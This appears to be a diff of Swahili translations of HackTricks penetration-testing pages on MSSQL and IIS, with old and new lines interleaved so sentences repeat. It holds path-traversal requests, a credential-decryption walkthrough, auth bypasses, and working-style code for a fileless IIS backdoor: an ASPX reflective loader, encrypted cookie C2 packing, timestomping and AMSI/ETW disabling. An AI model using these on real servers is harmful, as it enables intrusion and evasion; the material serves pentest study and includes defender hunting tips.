Mshambulizi anaweza kunyakua passwords za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa clear text, akimpa mshambulizi passwords ambazo zinaweza kutumika kupata foothold kubwa zaidi kwenye lengo. Script ya kunyakua na ku-decrypt passwords zilizohifadhiwa kwa Linked Servers inaweza kupatikana [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server.
Baadhi ya mahitaji na usanidi lazima yafanywe ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye mashine, au uwezo wa kusimamia SQL Server Configurations.
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni yafuatayo:
1. Wezesha TCP/IP kwenye SQL Server instances;
2. Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
3. Wezesha muunganisho wa usimamizi wa mbali.
1. Washa TCP/IP kwenye SQL Server instances;
2. Ongeza Start Up parameter, katika kesi hii, trace flag itaongezwa, ambayo ni -T7806.
3. Weka remote admin connection.
Ili kujiandaa kwa usanidi huu, [hii hazina ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila.
Ili ku-automate usanidi hizi, [this repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina scripts zinazohitajika. Mbali na kujaa powershell script kwa kila hatua ya usanidi, repository pia ina script kamili inayochanganya scripts za usanidi pamoja na extraction na decryption ya passwords.
Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Nywila za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Kwa maelezo zaidi, rejea viungo vifuatavyo kuhusu shambulio hili: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Tatizo la Muunganisho wa Usimamizi wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Kuinua Haki za Mitaa
## Local Privilege Escalation
Mtumiaji anayekimbia MSSQL server atakuwa amewezesha token ya haki **SeImpersonatePrivilege.**\
Huenda ukawa na uwezo wa **kuinua hadi kwa Administrator** ukifuatia moja ya hizi 2 kurasa:
Mtumiaji anayekimbia MSSQL server atakuwa na token ya ruhusa **SeImpersonatePrivilege.**\
Uwezekano utaweza **escalate to Administrator** ukifuata mojawapo ya kurasa hizi mbili:
{{#ref}}
@ -573,7 +605,19 @@ Huenda ukawa na uwezo wa **kuinua hadi kwa Administrator** ukifuatia moja ya hiz
- `port:1433 !HTTP`
## Marejeleo
## Marejeo
- [Unit 42 Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -585,7 +629,7 @@ Huenda ukawa na uwezo wa **kuinua hadi kwa Administrator** ukifuatia moja ya hiz
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## HackTricks Amri za Otomatiki
## HackTricks Automatic Commands
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View File

@ -2,21 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
Jaribu upanuzi wa faili zinazoweza kutekelezwa:
Aina za extensions za faili zinazotekelezwa za kujaribu:
- asp
- aspx
- config
- php
## Ufunuo wa Anwani ya IP ya Ndani
## Ufichaji wa Anwani ya IP ya Ndani
Katika seva yoyote ya IIS ambapo unapata 302 unaweza kujaribu kuondoa kichwa cha Host na kutumia HTTP/1.0 na ndani ya jibu kichwa cha Location kinaweza kukuongoza kwenye anwani ya IP ya ndani:
Katika seva yoyote ya IIS ambapo unapata 302 unaweza kujaribu kuondoa Host header na kutumia HTTP/1.0, na ndani ya majibu header ya Location inaweza kukuonyesha anwani ya IP ya ndani:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Majibu yanayofichua IP ya ndani:
Majibu yanayofichua anwani ya IP ya ndani:
```
GET / HTTP/1.0
@ -27,21 +27,21 @@ Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Execute .config files
## Endesha faili za .config
Unaweza kupakia faili za .config na kuzitumia kutekeleza msimbo. Njia moja ya kufanya hivyo ni kuongeza msimbo mwishoni mwa faili ndani ya maoni ya HTML: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Unaweza kupakia .config files na kuzitumia kuendesha msimbo. Njia moja ya kufanya hivyo ni kuambatisha msimbo mwishoni mwa faili ndani ya HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Taarifa zaidi na mbinu za kutumia udhaifu huu [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Discovery Bruteforce
Pakua orodha niliyounda:
Pakua orodha niliyoitengeneza:
{{#file}}
iisfinal.txt
{{#endfile}}
Ilianzishwa kwa kuunganisha maudhui ya orodha zifuatazo:
Ilimetengenezwa kwa kuunganisha yaliyomo kwenye orodha zifuatazo:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@ -50,63 +50,63 @@ Ilianzishwa kwa kuunganisha maudhui ya orodha zifuatazo:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Tumia bila kuongeza kiambatisho chochote, faili zinazohitaji zina tayari.
Itumie bila kuongeza extension; faili zinazohitaji tayari zinao.
## Path Traversal
### Leaking source code
Angalia andiko kamili katika: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
Angalia maelezo kamili katika: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Kwa muhtasari, kuna faili kadhaa za web.config ndani ya folda za programu zikiwa na viungo kwa faili za "**assemblyIdentity**" na "**namespaces**". Kwa taarifa hii inawezekana kujua **mahali ambapo executable ziko** na kuzipakua.\
> Kutoka kwa **Dlls zilizopakuliwa** pia inawezekana kupata **namespaces mpya** ambapo unapaswa kujaribu kufikia na kupata faili ya web.config ili kupata namespaces mpya na assemblyIdentity.\
> [!TIP]
> Kwa muhtasari, kuna web.config files ndani ya folda za application zenye rufaa kwa "**assemblyIdentity**" files na "**namespaces**". Kwa kutumia taarifa hizi inawezekana kujua **ambapo executables ziko** na kuzishusha.\
> Kutokana na **downloaded Dlls** pia inawezekana kupata **new namespaces** ambazo unapaswa kujaribu kufikia na kupata faili ya web.config ili kupata new namespaces na assemblyIdentity.\
> Pia, faili **connectionstrings.config** na **global.asax** zinaweza kuwa na taarifa za kuvutia.
Katika **.Net MVC applications**, faili ya **web.config** ina jukumu muhimu kwa kuainisha kila faili la binary ambalo programu inategemea kupitia lebo za XML za **"assemblyIdentity"**.
Katika **.Net MVC applications**, faili ya **web.config** ina jukumu muhimu kwa kubainisha kila binary file ambayo application inategemea kupitia XML tags za **"assemblyIdentity"**.
### **Exploring Binary Files**
### **Kuchunguza Faili za Binary**
Mfano wa kufikia faili ya **web.config** umeonyeshwa hapa chini:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Hii ombi linaonyesha mipangilio na utegemezi mbalimbali, kama vile:
Ombi hili linafunua mipangilio na utegemezi mbalimbali, kama vile:
- **EntityFramework** toleo
- **AppSettings** kwa ajili ya kurasa za wavuti, uthibitishaji wa mteja, na JavaScript
- **System.web** mipangilio ya uthibitishaji na wakati wa kukimbia
- **System.webServer** mipangilio ya moduli
- **Runtime** uhusiano wa mkusanyiko kwa maktaba nyingi kama **Microsoft.Owin**, **Newtonsoft.Json**, na **System.Web.Mvc**
- **EntityFramework** version
- **AppSettings** kwa webpages, client validation, na JavaScript
- **System.web** mipangilio kwa uthibitishaji na runtime
- **System.webServer** mipangilio ya modules
- **Runtime** assembly bindings kwa maktaba nyingi kama **Microsoft.Owin**, **Newtonsoft.Json**, na **System.Web.Mvc**
Mipangilio hii inaonyesha kwamba faili fulani, kama **/bin/WebGrease.dll**, ziko ndani ya folda ya /bin ya programu.
Mipangilio hii inaonyesha kuwa baadhi ya faili, kama **/bin/WebGrease.dll**, ziko ndani ya folda /bin ya application.
### **Faili za Saraka Kuu**
### **Root Directory Files**
Faili zinazopatikana katika saraka kuu, kama **/global.asax** na **/connectionstrings.config** (ambayo ina nywila nyeti), ni muhimu kwa usanidi na uendeshaji wa programu.
Faili zinazopatikana katika saraka ya mzizi, kama **/global.asax** na **/connectionstrings.config** (ambazo zina nywila nyeti), ni muhimu kwa usanidi na uendeshaji wa application.
### **Namespaces na Web.Config**
### **Namespaces and Web.Config**
Programu za MVC pia zinafafanua **web.config files** za ziada kwa ajili ya namespaces maalum ili kuepuka matamko yanayojirudia katika kila faili, kama inavyoonyeshwa na ombi la kupakua **web.config** nyingine:
MVC applications pia huweka **web.config files** za ziada kwa namespaces maalum ili kuepuka matamko yanayojirudia katika kila faili, kama ilivyoonyeshwa na ombi la kupakua mwingine **web.config**:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Kupakua DLLs**
Kurejelewa kwa jina la kawaida maalum kunaashiria DLL inayoitwa "**WebApplication1**" iliyopo katika saraka ya /bin. Kufuatia hii, ombi la kupakua **WebApplication1.dll** linaonyeshwa:
Kutajwa kwa namespace maalum kunadhihirisha uwepo wa DLL yenye jina "**WebApplication1**" kwenye saraka ya /bin. Kufuatia hayo, ombi la kupakua the **WebApplication1.dll** linaonyeshwa:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Hii inaonyesha uwepo wa DLL nyingine muhimu, kama **System.Web.Mvc.dll** na **System.Web.Optimization.dll**, katika saraka ya /bin.
Katika hali ambapo DLL inapata namespace inayoitwa **WebApplication1.Areas.Minded**, mshambuliaji anaweza kudhani uwepo wa faili nyingine za web.config katika njia zinazoweza kutabiriwa, kama **/area-name/Views/**, zikiwa na mipangilio maalum na marejeleo kwa DLL nyingine katika folda ya /bin. Kwa mfano, ombi kwa **/Minded/Views/web.config** linaweza kufichua mipangilio na namespaces zinazodhihirisha uwepo wa DLL nyingine, **WebApplication1.AdditionalFeatures.dll**.
Katika senario ambapo DLL inayoleta namespace inayoitwa **WebApplication1.Areas.Minded**, attacker anaweza kubaini uwepo wa web.config nyingine katika njia zinazotabirika, kama **/area-name/Views/**, zenye usanidi maalum na marejeo kwa DLL nyingine katika saraka ya /bin. Kwa mfano, ombi kwa **/Minded/Views/web.config** linaweza kufichua usanidi na namespaces zinazobainisha uwepo wa DLL nyingine, **WebApplication1.AdditionalFeatures.dll**.
### Faili za kawaida
Kutoka [hapa](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
Kutoka [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -185,43 +185,162 @@ C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Error
Ikiwa unaona kosa kama hili:
If you see an error like the following one:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Inamaanisha kwamba seva **haikupata jina sahihi la kikoa** ndani ya kichwa cha Host.\
Ili kufikia ukurasa wa wavuti unaweza kuangalia **Cheti cha SSL** kilichotolewa na labda unaweza kupata jina la kikoa/subdomain huko. Ikiwa halipo unaweza kuhitaji **kujaribu VHosts** hadi upate sahihi.
Ikiwa unaona kosa kama la ifuatayo:
Hii ina maana serveri **haikupokea jina sahihi la domain** ndani ya Host header.
Ili kufikia ukurasa wa wavuti unaweza kuangalia **SSL Certificate** iliyotumwa na labda utapata jina la domain/subdomain ndani yake. Ikiwa halipo hapo unaweza kuhitaji kufanya **brute force VHosts** hadi upate ile sahihi.
## Fungua configuration iliyosimbwa na ASP.NET Core Data Protection key rings
Mifano miwili ya kawaida ya kulinda siri kwenye apps za IIS-hosted .NET ni:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like <connectionStrings>.
- ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies.
Ikiwa una ufikiaji wa filesystem au ufikiaji wa interactive kwenye web server, co-located keys mara nyingi zinawezesha decryption.
- ASP.NET (Full Framework) decrypt protected config sections with aspnet_regiis:
```cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
```
- ASP.NET Core tafuta Data Protection key rings zilizohifadhiwa kwa ndani (XML/JSON files) katika maeneo kama:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Ikiwa key ring inapatikana, operator anayeendesha kwa utambulisho wa app anaweza kuanzisha IDataProtector na purposes sawa na ku-unprotect siri zilizohifadhiwa. Misconfigurations zinazohifadhi key ring pamoja na faili za app zinafanya offline decryption kuwa rahisi mara host inapoharibiwa.
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
The Phantom Taurus/NET-STAR toolkit inaonyesha mtindo uliokomaa kwa fileless IIS persistence na postexploitation kabisa ndani ya w3wp.exe. Mawazo ya msingi yanaweza kutumika kwa upana kwa custom tradecraft na kwa detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: ukurasa mmoja .aspx (mfano, OutlookEN.aspx) unabeba Base64encoded, optionally Gzipcompressed .NET DLL. Baada ya trigger request, inafanya decode, decompress na reflectively loads ndani ya current AppDomain na huitisha main entry point (mfano, ServerRun.Run()).
- Cookiescoped, encrypted C2 with multistage packing: tasks/results zimefungwa kwa Gzip → AESECB/PKCS7 → Base64 na kusogezwa kupitia seemingly legitimate cookieheavy requests; operators walitumia delimiters imara (mfano, "STAR") kwa chunking.
- Reflective .NET execution: inakubali arbitrary managed assemblies kama Base64, load via Assembly.Load(byte[]) na kupitisha operator args kwa module swaps haraka bila kugusa disk.
- Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors hata wakati site imeprecompiled (mfano, dropper inaongeza dynamic pages/handlers au inatumia config handlers) exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: expose changeLastModified action na timestomp wakati wa deployment (ikiwa ni pamoja na future compilation timestamps) ili kuzuia DFIR.
- Optional AMSI/ETW predisable for loaders: secondstage loader inaweza kuzima AMSI na ETW kabla ya kuita Assembly.Load ili kupunguza ukaguzi wa inmemory payloads.
Minimal ASPX loader pattern
```aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
```
Misaada ya Packing/crypto (Gzip + AESECB + Base64)
```csharp
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AESECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
```
Mtiririko wa Cookie/session na command surface
- Bootstrap ya session na tasking hubebwa kupitia cookies ili kuchanganyika na shughuli za kawaida za wavuti.
- Amri zilizobainika katika mazingira halisi ziliwemo: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code for inmemory .NET execution.
Zana ya Timestomping
```csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
```
Kuzima Inline ya AMSI/ETW kabla ya Assembly.Load (loader variant)
```csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
```
Angalia mbinu za kuzuia AMSI/ETW katika: windows-hardening/av-bypass.md
Vidokezo vya kuwinda (walinzi)
- Ukurasa mmoja wa ASPX usio wa kawaida wenye blobs ndefu sana za Base64/Gzip; maombi ya POST yenye cookie nyingi.
- Managed modules ambazo hazina backup ndani ya w3wp.exe; mistringi kama Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Vigawanyo vinavyorudiwa kama "STAR" kwenye trafiki; timestamps zisizolingana au hata za baadaye kwenye ASPX/assemblies.
## Udhaifu za zamani za IIS zinazostahili kutafutwa
## Old IIS vulnerabilities worth looking for
### Microsoft IIS tilde character “\~” Vulnerability/Feature Short File/Folder Name Disclosure
Unaweza kujaribu **kuorodhesha folda na faili** ndani ya kila folda iliyogunduliwa (hata kama inahitaji Msingi wa Uthibitishaji) ukitumia hii **mbinu**.\
Kikomo kikuu cha mbinu hii ikiwa seva ina udhaifu ni kwamba **inaweza tu kupata hadi herufi 6 za kwanza za jina la kila faili/folda na herufi 3 za kwanza za kiendelezi** cha faili.
Unaweza kujaribu **kuorodhesha folda na faili** ndani ya kila folder uliogundua (hata ikiwa inahitaji Basic Authentication) kwa kutumia **mbinu**.\
Kikwazo kikuu cha mbinu hii ikiwa server ina udhaifu ni kuwa **inaweza kupata hadi herufi 6 za kwanza za jina la kila faili/folda na herufi 3 za kwanza za extension** za faili.
Unaweza kutumia [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kujaribu udhaifu huu:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
Utafiti wa asili: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Utafiti wa awali: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Unaweza pia kutumia **metasploit**: `use scanner/http/iis_shortname_scanner`
Wazo zuri la **kupata jina la mwisho** la faili zilizogunduliwa ni **kuuliza LLMs** kwa chaguzi kama ilivyofanywa katika skripti [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
Wazo zuri la **kupata jina la mwisho** la faili zilizogunduliwa ni **kuwauliza LLMs** kwa chaguzi kama ilivyofanywa kwenye script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Basic Authentication bypass
**Bypass** uthibitishaji wa msingi (**IIS 7.5**) ukijaribu kufikia: `/admin:$i30:$INDEX_ALLOCATION/admin.php` au `/admin::$INDEX_ALLOCATION/admin.php`
**Bypass** Basic Authentication (**IIS 7.5**) kwa kujaribu kufikia: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
Unaweza kujaribu **kuchanganya** udhaifu huu na wa mwisho ili kupata **folda** mpya na **kuondoa** uthibitishaji.
Unaweza kujaribu **kuchanganya** udhaifu huu na ule uliopita ili kupata **folda** mpya na **kupitisha** authentication.
## ASP.NET Trace.AXD enabled debugging
ASP.NET inajumuisha hali ya ufuatiliaji na faili yake inaitwa `trace.axd`.
ASP.NET ina mode ya debugging na faili yake inaitwa `trace.axd`.
Inahifadhi kumbukumbu ya kina ya maombi yote yaliyofanywa kwa programu kwa kipindi cha muda.
Inahifadhi log ya kina sana ya maombi yote yaliyotumiwa kwa application kwa kipindi fulani.
Taarifa hii inajumuisha IP za mteja wa mbali, vitambulisho vya kikao, vidakuzi vyote vya maombi na majibu, njia za kimwili, taarifa za msimbo wa chanzo, na labda hata majina ya watumiaji na nywila.
Taarifa hizi zinajumuisha IP's za wateja wa mbali, session IDs, cookies zote za request na response, physical paths, taarifa za source code, na pengine hata usernames na passwords.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -231,17 +350,17 @@ Taarifa hii inajumuisha IP za mteja wa mbali, vitambulisho vya kikao, vidakuzi v
ASPXAUTH inatumia taarifa zifuatazo:
- **`validationKey`** (string): ufunguo wa hex-encoded wa kutumia kwa uthibitishaji wa saini.
- **`validationKey`** (string): hex-encoded key to use for signature validation.
- **`decryptionMethod`** (string): (default “AES”).
- **`decryptionIV`** (string): hex-encoded initialization vector (inategemea vector ya sifuri).
- **`decryptionKey`** (string): ufunguo wa hex-encoded wa kutumia kwa ufichuzi.
- **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros).
- **`decryptionKey`** (string): hex-encoded key to use for decryption.
Hata hivyo, watu wengine wataweza kutumia **thamani za msingi** za vigezo hivi na watatumia kama **cookie barua pepe ya mtumiaji**. Hivyo, ikiwa unaweza kupata wavuti inayotumia **jukwaa sawa** linalotumia cookie ya ASPXAUTH na **ukaunda mtumiaji kwa barua pepe ya mtumiaji unayependa kuiga** kwenye seva inayoshambuliwa, unaweza kuwa na uwezo wa **kutumia cookie kutoka seva ya pili kwenye ya kwanza** na kuiga mtumiaji.\
Shambulio hili lilifanya kazi katika [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
Walakini, baadhi ya watu watatumia **default values** za vigezo hivi na watatumia kama **cookie the email of the user**. Kwa hiyo, ikiwa unaweza kupata tovuti inayotumia **same platform** inayotumia cookie ya ASPXAUTH na wewe **create a user with the email of the user you want to impersonate** kwenye server inayoshambuliwa, unaweza kuwa na uwezo wa **use the cookie from the second server in the first one** na kuiga mtumiaji.\
Shambulizi hili liliwahi kufanikiwa katika [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kosa katika msimbo **halikupitia ipasavyo nenosiri lililotolewa na mtumiaji**, hivyo mshambuliaji ambaye **hash ya nenosiri lake inagonga ufunguo** ambao tayari uko kwenye **cache** ataweza kuingia kama mtumiaji huyo.
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Mdudu katika code **haukukagua kikamilifu password iliyotolewa na mtumiaji**, hivyo mshambuliaji ambaye **password hash yake inagonga key** ambayo tayari ipo kwenye **cache** ataweza kuingia kama mtumiaji huyo.
```python
# script for sanity check
> type test.py
@ -261,4 +380,9 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## Marejeo
- [Unit 42 Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,40 +2,40 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Maelezo ya Msingi
